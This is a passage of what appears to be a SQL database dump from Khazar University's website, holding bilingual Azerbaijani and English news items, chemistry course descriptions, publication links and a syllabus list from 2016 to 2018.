margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://cia.az/news-view/75702-Cenab-Prezident-Sizden-artiq-derecede-xahish-edirik...;%0d\">http://cia.az/news-view/75702-Cenab-Prezident-Sizden-artiq-derecede-xahish-edirik...;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.interpress.az/76533-ingiz-abdullayev-v-frhad-bdlbyli-mehman-liyev-gr-prezident-mracit-etdi.html;\">http://www.interpress.az/76533-ingiz-abdullayev-v-frhad-bdlbyli-mehman-liyev-gr-prezident-mracit-etdi.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.moderator.az/news/190699.html;\">http://www.moderator.az/news/190699.html;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://www.pia.az/Bir_qrup_ictimai-siyasi_xadim_-212267-xeber.html\">http://www.pia.az/Bir_qrup_ictimai-siyasi_xadim_-212267-xeber.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://qaynarxett.az/index.php?newsid=17839\">http://qaynarxett.az/index.php?newsid=17839</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://azpolitika.info/?p=351504#Kalibri\">http://azpolitika.info/?p=351504;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><a href=\"http://cenubxeberleri.com/929-mehman-eliyevin-azadligi-uchun-onlarla-taninmish-ziyali-olke-bashchisina-muraciet-etdi.html\">http://cenubxeberleri.com/929-mehman-eliyevin-azadligi-uchun-onlarla-taninmish-ziyali-olke-bashchisina-muraciet-etdi.html</a>.</p>'),(3437,2017,'az','Hamlet İsaxanlı ATV-nin “Keçmişə baxanda” verlişinin qonağı oldu','2017-ci il aprelin 2-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ATV-nin “Keçmişə baxanda” verlişində qonaq oldu...','<p>2017-ci il aprelin 2-də Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı\r\nATV-nin “Keçmişə baxanda” verlişində qonaq oldu və aparıcı Günay Firudin\r\nqızının suallarını cavablandırdı. O, həm təbiət elmləri, həm də humanitar və\r\nsosial elmlər sahəsindəki yaradıclığı, beynəlxalq fəaliyyəti, həyatından\r\nsəhifələr, təbiətlə ünsiyyəti və poetik yaradıcılığı barəsində danışdı.&nbsp;</p>'),(3438,2018,'az','Hamlet İsaxanlı “Qonaq mühazirəçilər seminarları”nın qonağı oldu','2017-ci il aprelin 3-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı “Potensial məktəb direktorlarına məktəbin idarə edilməsi...','<p>2017-ci il aprelin\r\n3-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı “Potensial məktəb direktorlarına məktəbin idarə edilməsi\r\nüzrə təlim kursu”nda “Qonaq mühazirəçilər seminarları”nın qonağı oldu.\r\nH.İsaxanlı “Təhsildə idarəetmə: Nəzəriyyə və təcrübə” adlı mövzuda seminar\r\nkeçirdi.</p>\r\n<p>Xəzər Universitetinin\r\nquruluşu və idarə edilməsi təcrübəsindən yola çıxılaraq başlanan seminar\r\npotensial və mövcud məktəb direktorları üçün həm uğurlu&nbsp;idarəetmə, həm də\r\nuğurlu liderlik təcrübəsini özündə əks etdirdi. Seminarda “öyrənmənin və öyrətmənin\r\nyaşı olmadığı”, “daima dəyişikliyə açıq və hazır olma”nın əhəmiyyəti\r\nvurğulanaraq, təcrübədən irəli gələn “öyrənilmiş bilik” konsepti ətrafinda\r\nmüzakirələr aparıldı. </p>\r\n<p>Muzakirənin\r\nsonunda Professor Hamlet İsaxanlı iştirakçıların suallarını cavablandırdı. </p>\r\n<p>Qeyd edək ki, “Potensial\r\nməktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu” artıq üç ildir Xəzər\r\nUniversitetində davam edir.&nbsp;</p>'),(3403,1996,'az','NRYTN-nin nümayəndələri Xəzər Universitetində tələbələrlə görüşdülər','2017-ci il martın 29-da Nəqliyyat, Rabitə və Yüksək Texnologiyalar Nazirliyi nəzdində fəaliyyət göstərən Elektron Hökumət Təlim-Tədris Mərkəzinin bir qrup nümayəndəsi...','<p>2017-ci il martın 29-da Nəqliyyat, Rabitə və Yüksək\r\nTexnologiyalar Nazirliyi nəzdində fəaliyyət göstərən Elektron Hökumət Təlim-Tədris\r\nMərkəzinin bir qrup nümayəndəsi Xəzər Universitetinin qonağı oldular. Mərkəzin\r\nrəhbəri Rauf Cabbarov Mühəndislik və tətbiqi elmlər fakültəsinin bir qrup tələbəsinin\r\niştirakı ilə keçilən seminarda “İT karyeranın inkişafı” mövzusunda məruzə ilə\r\nçıxış etdi. Məruzədə mərkəzin fəaliyyət istiqamətləri, gələcək perspektivlər və\r\ntələbələrin təhsildən sonrakı iş imkanları haqqında danışılmıılırdı. </p>\r\n<p>Görüşdə gələcək əməkdaşlıq üzrə söhbət aparıldı.</p>'),(3404,1997,'az','Xəzər Universitetinin nümayəndələri FHN-nin Akademiyasında elmi-praktik konfransında iştirak etdilər','2017-ci il martın 29-da ehtiyatda olan polkovnik-leytenant Mayis Talışxanov və Xəzər Universiteti Biologiya elmləri departamentinin müdiri Dr İradə Xəlilovanın rəhbərliyi...','<p>2017-ci il\r\nmartın 29-da ehtiyatda olan polkovnik-leytenant Mayis Talışxanov və Xəzər\r\nUniversiteti Biologiya elmləri departamentinin müdiri Dr İradə Xəlilovanın rəhbərliyi\r\naltında Təhsil fakültəsinin tələbəsi Günel Haşımlı və Mühəndislik və tətbiqi\r\nelmlər fakültəsinin tələbəsi Rza Haciyev&nbsp; Azərbaycan Respublikası Fövqəladə\r\nHallar Nazirliyinin Akademiyasında “Fövqəladə hallarla mübarizənin aktual məsələləri”\r\nmövzusunda digər ali məktəblərin kursant, müdavim və tələbələrinin iştirakı ilə\r\nkeçirtdiyi elmi-praktik konfransında iştirak edərək, Xəzər Universitetini təmsil\r\netdilər. Konfransda Günel Haşımlı “Fövqəladə hallarla mübarizədə mülki müdafiənin\r\nrolu” mövzusunda və Rza Hacıyev isə “Əhalinin radiasiya təhlükəsizliyi”\r\nmövzusunda məruzələrlə çıxış etdilər. Bu məruzələr akademiyanın xüsusi məqalələr\r\ntoplusunda çap olunacaqdır. </p>\r\n<p>Sonda tələbələr\r\nFövqəladə Hallar Nazirliyinin Akademiyasının fəxri fərmanları ilə təltif edildilər.</p>'),(2440,1477,'az','Məktəbin hazırlıq qrupunda “Payiz bayramı” keçirildi','2016-cı il oktyabrin 23-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində “Payiz bayramı” adlı tədbir keçirildi. Bayram musiqi qrupunun rəhbəri...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il oktyabrin 23-də Xəzər\r\nUniversitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində “Payiz bayramı”\r\nadlı tədbir keçirildi. Bayram musiqi qrupunun rəhbəri Sevinc Sultanovanın\r\nbəstələdiyi “Qızıl payız” mahnısı ilə açıldı.&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Azərbaycan və rus bölmələrində\r\nkeçirilən bu bayram tədbirində uşaqlara bədii tərtibatda payızın rəngləri, bu\r\nfəslin meyvə və tərəvəzlərinin xüsusiyyətləri, sağlamlığa və bədənin inkişafına\r\nxeyri, təsirləri haqqında məlumat verildi.&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Maraqlı payız personajlari – Payız\r\nqızı, Damcı, Meyvələr, Çiçəklər rəngarəng görünüşləri ilə səhnəni bəzədilər. Azərbaycan və rus dillərində səsləndirilən şeirlər,\r\nçiçəklərin və meyvələrin rəqsi, balaca həkimin tövsiyəsi səhnədə gözəl\r\nharmoniya yaratdı.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">İngilis\r\nbölməsində də keçirilən məşhur “Halloween” – “Balqabaqlar bayramı” öz\r\nrəngarəngliyi ilə uşaqları sevindirdi. Səhnə içərisində şamlar yanan\r\nbalqabaqlarla bəzədilmişdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Payızla\r\nqışın görüşü, qış meşəsinin sərtliyi, soyuğu, uğultusunun səhnədə əksi böyük\r\nmarağa səbəb oldu. Uşaqlar müxtəlif meşə heyvanlarının cildində maraqlı\r\nkompozisiyalar yaratmışdılar.&nbsp;<br>\r\nBuradakı səhnələr – ingilis dilində səslənən\r\nşeirlər, rəqslər bir-birini tamamlayırdı.&nbsp;<br>\r\nSəhnə rəqslərini xareoqraf Qızılgül Əliməmmədova\r\nhazırlamışdı.</p>'),(2438,1476,'az','Xəzər Universiteti beynəlxalq əməkdaşlığını genişləndirir','2016-cı il oktyabrın  25-də Xəzər Universiteti və Estoniyanın Tartu Universiteti arasında siyasi elm və beynəlxalq münasibətlər üzrə təhsil alanlar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın&nbsp; 25-də<strong> </strong>Xəzər Universiteti və\r\nEstoniyanın Tartu Universiteti arasında siyasi elm və beynəlxalq münasibətlər\r\nüzrə təhsil alanlar və akademik heyətin mübadiləsini nizamlamaq üçün\r\nuniversitetlərarası əməkdaşlıq müqaviləsi imzalanmışdır. Müqavilə Erasmus+\r\nproqramının Birinci Əsas Fəaliyyəti kontekstində imzalanmışdır.&nbsp;</p>'),(2426,1469,'az','Amerikan Universitetinin professoru ABŞ-da prezident seçkilərindən danışdı','2016-cı il oktyabrın 24-də Xəzər Universitetinin Siyasi elmlər və beynəlxalq əlaqələr departamentinin təşkilatçılığı ilə keçirilən görüşdə Amerkan Universitetinin siyasi elmlər üzrə tanınmış...','<p>2016-cı il oktyabrın 24-də Xəzər\r\nUniversitetinin Siyasi elmlər və beynəlxalq əlaqələr departamentinin təşkilatçılığı\r\nilə keçirilən görüşdə Amerikan Universitetinin siyasi elmlər üzrə tanınmış\r\nprofessorlarından biri Dr. James Thurber ABŞ-da qarşıdan gələn prezident seçkilərini\r\nmüzakirə etdi. Dr. Thurber ABŞ-da baş verən siyasi proseslər, o cümlədən, namizədlərin\r\nseçilməsi, siyasi konvensiyalar və seçki sistemi haqqında ümumi məlumat verdi.\r\nO, həmçinin Hillary Clinton və Donald Trump-ın namizədliyi ilə nəticələnən ölkədaxili\r\nvacib siyasi məsələlərə də toxundu. Dr. Thurber qeyd etdi ki, yüksək seçki\r\nqurumunun (<em>The Electoral College</em>) nəticələrinə görə Hillary Clinton-un\r\nseçilmə ehtimalı daha böyükdür. </p>\r\n<p>Çıxışdan sonra o, tələbələrin\r\nbu seçkilərin ABŞ-ın Şimali Amerika Azad Ticarət Assosasiyası və Avropa ölkələri\r\nilə münasibətlərinə, insan haqlarına və beynəlxalq ticarətə necə təsir edəcəyi\r\nbarəsində suallarını cavablandırdı. Daha sonra Dr. Thurber Xəzər Universiteti\r\nSiyasi elmlər və beynəlxalq əlaqələr departamentinin rəhbəri Dr. Muxtar Hacızadə\r\nilə görüşdü və ona hədiyyə olaraq öz kitabını verdi.</p>'),(2427,1469,'en','Dr. James Thurber of American University Speaks about U.S. Presidential Elections','On October 24, 2016, the Department of Political Science and International Relations of Khazar University hosted Dr. James Thurber, Distinguished Professor of Government at American...','<p>On October 24, 2016, the Department of Political Science and\r\nInternational Relations of Khazar University hosted Dr. James Thurber,\r\nDistinguished Professor of Government at American University, Washington D.C.\r\nto discuss the upcoming elections in the United States.&nbsp; Dr. Thurber\r\nprovided a general overview of the U.S. political process, including the\r\nnomination of presidential candidates, the political conventions and the\r\nElectoral College.&nbsp; He also spoke about the important issues in domestic\r\npolitics in the United States that gave rise to each of the current\r\npresidential nominees, Hillary Clinton and Donald Trump.&nbsp; Dr. Thurber\r\nexplained that there is a high likelihood of a Clinton victory due to potential\r\nvotes in the Electoral College.&nbsp; </p>\r\n<p>Students asked a range of questions about how the U.S. elections\r\nwill affect its relations with the NAFTA and European countries, human rights\r\nand world trade.&nbsp; Dr. Thurber also met with Dr. Mukhtar Hajizada,\r\nDepartment Chair, who thanked him for the gift of his book <em>American\r\nGridlock: The Sources, Character, and Impact of Political Polarization</em>.</p>'),(2428,1470,'az','Tarixi','Tarixi',''),(2429,1470,'en','History','History',''),(2430,1471,'az','Fənlərin təsviri','Fənlərin təsviri','<p><strong>CHEM111: Kimya-1 (6 AKKS&nbsp;kredit)</strong>&nbsp;<br></p><p><strong>Prerekviziti:</strong>yoxdur&nbsp;&nbsp;<br></p><p>Atom-molekulyar nəzəriyyə. Maddənin quruluşu və fiziki xassələri. Atomun quruluşu. Kimyəvi rabitə. Molekullarn fəndəsi forması. Hibridləşmə. Atom orbitalları. Molekulyar orbitallar. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas nəzəriyyələri. Kimyəvi kinetika. Kataliz. Nüvə reaksiyaları. I-VII qrup elementləri və onların ən mühüm birləşmələri. Üzvi birləşmələr, onların əsas sinifləri və ən mühüm nümayəndələri.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM112: Kimya-2 (6&nbsp;<strong>AKKS</strong>&nbsp;kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM111</p><p>Termodinamika, onun qanunları. Termokimya. Məhlullar nəzəriyyəsi. Duru məhlullar. Raul qanunları. Oksidləşmə-reduksiya prosesləri. Fotokimya. Kolloid məhlullar. Elektrokimya. Elektroliz, Faradey qanunları. Standart elektrod potensialı. Qalvanik elementlər. Korroziya və onunla mübarizə.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM112: Biokimya-2 (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM102</p><p>Zülların növləri, onların quruluşu və xassələri. Nuklein turşuları. Fermentlər. Vitaminlər. Hormonlar. Lipidlər. Prostaqlandinlər. Canlı orqanizmdə metabolizm prosesləri. Bioloji oksidləşmə. Karbohidratların, sadə və mürəkkəb züllarların, nuklein turşularının, lipidlərin metabolizmi. Züllarların biosintezi.</p><p>&nbsp;</p><p><strong>CHEM208: Ümumi və qeyri-üzvi kimya (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;yoxdur</p><p>Maddə və onun növləri. Maddənin quruluşu və xassələri. Kimyəvi rabitə və onun növləri. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas nəzəriyyələri. Kinetika. Radioaktiv çevrilmələr. Kataliz. Mendeleyev cədvəlindəki I-VIII qruplardakı əsas elementlər və onların ən mühüm birləşmələri.</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>CHEM 220: Üzvi kimya (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208 ümumi və Qeyri-üzvi kimya</p><p>Üzvi maddələrin kimyəvi quruluşu. Karbohidrogenlər, onların növləri, xarakteristikası, alınması və xassələri. Halogenli karbohidrogenlər. Spirtlər. Sadə efirlər. Aldehidlər və ketonlar.Karbon turşuları. Mürəkkəb efirlər. Yağlar və piylər. Azotlu üzvi birləşmələr. Tsikloalkanlar və tsikloalkenlər. Aromatik karbohidrogenlər. Fenollar. Kondensləşmiş arenlər. Heterotsiklik birləşmələr.</p><p>&nbsp;</p><p><strong>CHEM 311: Fiziki kimya (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Termodinamikanın prinsipləri və qanunları. Termokimya. Qazlar, mayelər və bərk maddələr. Fiziki xassələr və kimyəvi quruluş arasında əlaqə. Le-Şatelye prinsipi. Fazalar qaydası. Paylanma qanunu. Kataliz. Kimyəvi kinetika. Fotokimya. Adsorbsiya. Qalvanik elementlər. Elektrod potensialı. Elektrik keçiriciliyi. Korroziya, ondan mühafizə.</p><p>&nbsp;</p><p><strong>CHEM 321: Analitik kimya (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Vəsfi analiz üsulları. Fərdi kationların təyini. Kationların analitik qrupları. Kationların qarışıqlarının analizi. Anionların təyini. Anionların analitik qrupları. Miqdari analiz. Həcmi analiz. Neytrallaşdırma üsulları. Oksidləşmə-reduksiya üsulları. Çökdürmə və komplekləşdirmə üsulları. Qravimetriya. Fiziki və fiziki-kimyəvi analiz üsulları.</p><p>&nbsp;</p><p><strong>CHEM320: Yüksəkmolekullu birləşmələr kimyası (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM321</p><p>Polimerlərin quruluşu və xüsusiyyətləri. Polimerləşmə üsullarının əsas növləri. Polimerlərin əsas nümayəndələri. Polimerlərin əsas fiziki-mexaniki xassələri. Polimerlərin məhlulları. Polimerlərin molekul kütləsi, onun növləri və təyini üsulları. Polimerlərin kimyəvi reaksiyaları. Polimerlərin tətbiqi.</p><p><strong>CHEM250: Neft kimyası (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208</p><p>Neftlərin təsnifatı. Neftlərin fiziki-kimyəvi xassələri. Neft komponentlərinin ayrılma üsullar. Neftin tərkibindəki alkanlar, tsikloalkanlar, arenlər və hibrid birləşmələri. Neft karbohidrogenlərinin termiki və termokatalitik çevrilmələri. Oksidləşmə və hidrogenləşmə. Neft məhsullarının təmizlənməsi. Yanacaqların və yağların əsas növləri, onların tərkibi və xassələri.</p><p>&nbsp;</p><p><strong>CHEM 352: Colloid kimyası&nbsp;&nbsp;(6&nbsp;<strong>AKKS</strong> kredit)</strong></p><p><strong>Prerekviziti: CHEM 311</strong></p><p>Kolloidlərin quruluşu və növləri; köpük, emulsiya, aerosol və gel arasındakı fərqlər; hidrofil və hidrofob kolloidlər; colloid hissəcikləri arasındakı qarşılıqlı təsir qüvvələri, colloid məhlullarının hazırlanması, kolloidlərin stabilləşməsi və destabilləşməsi.</p><p>&nbsp;</p><p><strong>CHEM 417: Ekoloji kimya&nbsp; (6&nbsp;<strong>AKKS</strong>  kredit)</strong></p><p><strong>Prerekviziti: CHEM 201</strong></p><p>Ekoloji kimyanın əsasları, yaşıl kimya, kimyəvi maddələrin hava, su və torpaq mühitində reaksiyalarının, daşınmasının öyrənilməsi; insane fəaliyyətinin ətraf mühitə təsiri; təhlükəli kimyəvi maddələr və onlardan istifadə qaydaları; tullantıların idarə olunması və təkrar emalı.</p>'),(4077,2379,'en','Professor Hamlet Isakhanli’s response to the question of Sherg.az website','On 24 August, 2017, Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, was asked a question by Sherg.az...','<p>On 24 August, 2017, Professor Hamlet Isakhanli, the founder of Khazar University, chairman of its Board of Directors and Trustees, was asked a question by Sherg.az regarding the opinion ‘A new model will be applied in graduation and admission exams in two years’ produced by Maleyka Abbaszadeh, Head of the State Examination Center Board of Directors.</p><p>The professor said, in his opinion, the test method cannot be totally removed, it can be one of the test methods in the new model, i.e. other methods can be applied.</p><p>The full text can be read through the link below:</p><p><a href=\"http://www.sherg.az/site/id-35701/Testin_l%C9%99%C4%9Fvind%C9%99n_sonra_q%C9%99bul_prosesi_nec%C9%99_apar%C4%B1lacaq_?_-_Professor_#Kalibri\" target=\"_blank\">http://www.sherg.az/site/id-35701/Testin_l%C9%99%C4%9Fvind%C9%99n_sonra_q%C9%99bul_prosesi_nec%C9%99_apar%C4%B1lacaq_?_-_Professor_#Kalibri</a>  <br></p>'),(2431,1471,'en','Courses','Courses','<p><strong>CHEM 102: Basic Chemistry (6&nbsp;ECTS&nbsp;credits)</strong></p><p><strong>Prerequisite: undergraduate standing</strong></p><p>The aim of the course is to present knowledge of bioorganic and physical chemistry. It focuses on the basic concepts and principles of general, inorganic and organic chemistry, discussing the main compounds, phenomena, principles and reactions of human metabolism. The main goal is to form an understanding that the principles which are determined in vitro are basic in understanding principles in vivo, taking into account their specificity and integration.</p><p>&nbsp;</p><p><strong>CHEM 111: Chemistry I (6&nbsp;<strong>ECTS</strong>&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>A basic course emphasizing the metric system, introduction to atomic theory, stoichiometry, the structural and physical properties of matter (i.e., the electronic structure of atoms, chemical binding, molecular geometry, hybridization and molecular orbitals) and the states of matter (i.e. gases, liquids and solids).</p><p><strong>&nbsp;</strong></p><p><strong>CHEM 112: Chemistry II (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 111</strong></p><p>A discussion of physical properties of solutions in aqueous solutions, chemical kinetics, chemical equilibrium, chemical thermodynamics and electrochemistry. The oxidation-reduction process. Properties of the main elements and their important compounds. The structure and properties of the main organic compounds.</p><p><br><strong>CHEM 201: Biochemistry (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 102</strong></p><p>A one-semester course which studies the structure and properties of the main chemical components of living organisms (proteins, nucleic acids, lipids, carbohydrates), their metabolism, and their role in physiological activity, including modern methods of protein isolation and an investigation of their structure. Structures and biological roles of vitamins, hormones and enzymes, their mechanisms of action, and their regulation of the metabolism of living organisms at the level of specialized organs, kidney, liver, muscle and nerve tissues, connective and epithelial tissues.</p><p><br><strong>CHEM 225: Inorganic Chemistry (6&nbsp;<strong>ECTS</strong>&nbsp;credits)</strong></p><p><strong>Prerequisite: CHEM 112</strong></p><p>Atomic structure, the periodic table, inorganic nomenclature, chemical bonds, molecular structure and symmetry, covalent bond, molecular orbital theory, solid state, acids and bases.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM 250: Oil Chemistry I (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 112</strong></p><p>General information about the oil and gas industry. Classification of petroleum’s origin. Physicochemical properties of petroleum. Methods of isolation of petroleum components and study of the composition of petroleum and gas. Alkanes of petroleum. Cycloalkanes of petroleum. Arenes and hybrid compounds of petroleum.</p><p>&nbsp;</p><p><strong>CHEM 251: Oil Chemistry II (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 250</strong></p><p>Unsaturated hydrocarbons formed in the refinement of oil. Heteroatomatic compounds and mineral components of petroleum. Thermal conversions of hydrocarbons of petroleum and gas. Thermocatalytic conversions of hydrocarbons of petroleum and gas. Oxidation of petroleum hydrocarbons and their derivatives. Hydrogenation processes in oil refinement. Purification of petroleum products. Composition and exploitation properties of the main kinds of fuels and oils.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM 311: Physical Chemistry (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 112</strong></p><p>Principles of thermodynamics and its laws. Thermochemistry. Heat effect. Hess law Gaseous of matter, gas laws. Liquids and solids. Relation between physical properties and chemical constitution of matter. Solutions. Le-Chatelier principle for equilibrium. Phase equilibrium. Kinetic regularities of chemical processes. Catalysis. Photochemistry. Colloidal solutions. Adsorption. Electric conductance. Galvanic elements, electrode potentials. Corrosion, protection from it.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM 320: Chemistry of High-molecular Compounds (Polymer Chemistry)&nbsp;(6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 112</strong></p><p>Structure and particularities of polymers. Main types of polymerization methods. Main representatives of polymers. Physico-mechanical properties of polymers. Solutions of polymers. Molecular mass of polymers and its determination. Chemical reactions and application of polymers.</p><p>&nbsp;</p><p><strong>CHEM 352: Colloidal chemistry&nbsp;(6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 311</strong></p><p>Structure and types of colloids; differences between foams, emulsions, aerosols and gels; hydrophilic and hydrophobic colloids; types of interaction between particles in colloids, preparation of colloidal solutions, stabilization and destabilization of colloids.</p><p>&nbsp;</p><p><strong>CHEM 321: Analytical chemistry&nbsp;(6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 112</strong></p><p>Brief history of analytical chemistry; instrumental methods applied in the analytical chemistry: spectroscopy, mass spectrometry, chromatography, microscopy, thermal analysis, electrochemical analysis; qualitative methods: gravimetric and volumetric analysis; applications of analytic chemistry in industry and science.</p><p>&nbsp;</p><p><strong>CHEM 417: Ecological chemistry&nbsp; (6&nbsp;<strong>ECTS</strong>  credits)</strong></p><p><strong>Prerequisite: CHEM 201</strong></p><p>Bases of environmental chemistry, green chemistry, study of the sources, reactions, transport, effects, and fates of chemical species in the&nbsp;<a title=\"Earth\'s atmosphere\" href=\"http://en.wikipedia.org/wiki/Earth%27s_atmosphere\">air</a>,&nbsp;<a title=\"Soil\" href=\"http://en.wikipedia.org/wiki/Soil\">soil</a>, and&nbsp;<a title=\"Water body\" href=\"http://en.wikipedia.org/wiki/Water_body\">water</a>&nbsp;environments; the effect of human activity and biological activity on these; dangerous chemicals and ways of its utilization; recycling of wastes.</p>'),(2432,1472,'az','Nəşrlər','Nəşrlər','<p><strong><a href=\"http://www.khazar.org/files/letters/Dr._Hassan_Nikhnafs.pdf\">Hassan Niknafs</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Moradi%20Selected%20Publication.pdf\">Rasoul Moradi</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/letters/PublicationList_JM.pdf\">Jestin Mandumpal</a></strong><br></p><p><a href=\"http://www.khazar.org/files/letters/Publications_of_Revan_Rehimov.pdf\"><strong>Rəvan Rəhimov</strong></a></p><p><a href=\"http://www.khazar.org/files/letters/Publications.pdf\"><strong>Gülbəniz Muxtarova</strong></a></p>'),(2433,1472,'en','Publications','Publications','<p><strong><a href=\"http://www.khazar.org/files/letters/Dr._Hassan_Nikhnafs.pdf\">Hassan Niknafs</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Moradi%20Selected%20Publication.pdf\">Rasoul Moradi</a></strong><br></p><p><strong><a href=\"http://www.khazar.org/files/letters/PublicationList_JM.pdf\">Jestin Mandumpal</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Publications_of_Revan_Rehimov.pdf\">Revan Rehimov</a>&nbsp;</strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Publications.pdf\">Gulbeniz Mukhtarova</a></strong></p>'),(2434,1474,'en','Potential School Directors Project Continues','The Potential School Directors project which began at Khazar University in September 2014 with the financial support of UNICEF and the Ministry of Education is back...','<div><br></div><div><p>The Potential School Directors project which began\r\nat Khazar University in September 2014 with the financial support of UNICEF and\r\nthe Ministry of Education is back by popular demand, continuing its activities\r\nwith a fifth iteration of the course including 43 participants. A decision to\r\ncontinue the course was made by taking into consideration the experience of\r\nKhazar University in this course, the successful history of the project, and\r\nthe high number of educators who have completed the course as well as Section\r\n1.27 of&nbsp; Khazar University’s Regulations. Classes in the project are held\r\nthree times a week at Khazar University’s Neftchilar Campus. 323 people have\r\nalready graduated from the course, which is very helpful for participants’\r\ndevelopment.&nbsp;</p>  <br></div>'),(2435,1474,'az','Potensial məktəb direktorları layihəsi davam edir','Xəzər Universitetinin 2014-cü ilin sentyabrından başlayaraq, UNICEF (BMT Uşaq Fondu) və Təhsil Nazirliyinin maliyyə dəstəyi ilə birgə həyata keçirdiyi...','<div><br></div><div><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin 2014-cü ilin sentyabrından\r\nbaşlayaraq, UNICEF (BMT Uşaq Fondu) və Təhsil Nazirliyinin maliyyə dəstəyi ilə\r\nbirgə həyata keçirdiyi “Potensial məktəb direktorları” layihəsində təcrübəsini,\r\nbu layihə çərçivəsində keçirilən təlimlərin uğurla başa çatmasını, xeyli sayda\r\npedaqoqun sözügedən təlimlərdə iştirakla bağlı çoxsaylı müraciətlərini nəzərə\r\nalaraq və Xəzər Universiteti Nizamnaməsinin 1.27 maddəsini rəhbər tutaraq,\r\nPotensial məktəb direktorları layihəsini yeni V turda 43 nəfərlə davam etdirir.\r\nDərslər həftənin üç günü “Neftçilər” kampusunda keçirilir. Artıq 323 nəfəri təlim\r\netmiş proqram davamlı olaraq, İnkişaf proqramı kimi ümumtəhsil müəllimlərinin\r\ngeniş marağına səbəb olmuşdur. &nbsp;</p>  <br></div>'),(617,405,'az','Sillabuslar Payız 2018','Sillabuslar Yaz 2018','<h3><strong>İqtisadiyyat və Menecment&nbsp;</strong><strong>departamenti</strong></h3><p style=\"background:undefined \">Advanced Corporate Finance (MBA)</p><p>Applied Business Statistics (MBA)</p><p>Azerbaijan Economy (A)</p><p>Azerbaijan Economy (B)&nbsp;<br></p><p>Azerbaijan Economy (C)&nbsp;<br></p><p>Economic Development and Migration 